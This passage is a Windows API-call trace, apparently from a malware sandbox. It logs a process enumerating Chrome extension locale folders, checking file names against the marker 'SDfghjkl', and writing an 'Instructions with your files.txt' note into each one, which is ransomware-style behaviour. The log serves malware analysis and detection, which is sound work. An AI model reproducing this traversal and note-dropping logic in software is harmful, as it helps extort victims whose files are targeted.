[0129.741] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.742] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.743] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.743] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.743] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.743] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.743] CloseHandle (hObject=0x134) returned 1
[0129.743] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.743] GetProcessHeap () returned 0x810000
[0129.743] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.743] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr", cAlternateFileName="")) returned 1
[0129.743] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr") returned 141
[0129.743] GetProcessHeap () returned 0x810000
[0129.743] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.743] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\*") returned 143
[0129.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.744] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\.") returned 143
[0129.744] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.744] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\..") returned 144
[0129.744] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.744] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json") returned 155
[0129.744] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.744] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.744] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\Instructions with your files.txt") returned 174
[0129.744] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.744] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.745] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.745] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.745] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.745] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.745] CloseHandle (hObject=0x134) returned 1
[0129.745] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.746] GetProcessHeap () returned 0x810000
[0129.746] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.746] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1
[0129.746] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms") returned 141
[0129.746] GetProcessHeap () returned 0x810000
[0129.746] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.746] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\*") returned 143
[0129.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.746] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\.") returned 143
[0129.746] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.746] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\..") returned 144
[0129.746] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.746] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json") returned 155
[0129.746] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.746] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.746] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\Instructions with your files.txt") returned 174
[0129.746] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.747] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.747] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.747] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.748] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.748] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.748] CloseHandle (hObject=0x134) returned 1
[0129.748] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.748] GetProcessHeap () returned 0x810000
[0129.748] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.748] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ne", cAlternateFileName="")) returned 1
[0129.748] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne") returned 141
[0129.748] GetProcessHeap () returned 0x810000
[0129.748] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.748] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\*") returned 143
[0129.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.749] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\.") returned 143
[0129.749] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.749] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\..") returned 144
[0129.749] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x20b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.749] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json") returned 155
[0129.749] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.749] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x20b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.749] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\Instructions with your files.txt") returned 174
[0129.749] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.750] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.751] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.751] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.751] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.751] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.751] CloseHandle (hObject=0x134) returned 1
[0129.751] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.751] GetProcessHeap () returned 0x810000
[0129.751] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.751] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
[0129.751] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl") returned 141
[0129.751] GetProcessHeap () returned 0x810000
[0129.751] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.751] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\*") returned 143
[0129.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
